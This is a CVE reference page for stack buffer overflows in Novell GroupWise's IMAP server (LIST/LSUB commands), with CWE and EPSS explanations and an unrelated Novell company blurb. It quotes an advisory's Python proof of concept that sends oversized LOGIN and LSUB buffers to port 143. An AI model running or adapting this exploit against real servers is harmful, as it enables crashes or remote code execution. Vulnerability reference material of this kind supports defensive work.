CVE Descriptions

Multiple stack-based buffer overflows in the IMAP server component in GroupWise Internet Agent (GWIA) in Novell GroupWise before 8.02HP allow remote attackers to execute arbitrary code via a long (1) LIST or (2) LSUB command.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

Authentication is required to exploit this vulnerability. The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long LIST or LSUB request to the CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to remote code execution under the context of the server. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/python # # Francis Provencher for Protek Research Lab's. # # import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = '\x41' * 1368 s.connect(('192.168.100.178',143)) s.recv(1024) s.send('A001 LOGIN test test ' + buffer + '\r\n') s.recv(1024) s.send('A001 LSUB aa ' + buffer + '\r\n') s.recv(1024) s.close() ##################################################################################### (PRL-2010-08)
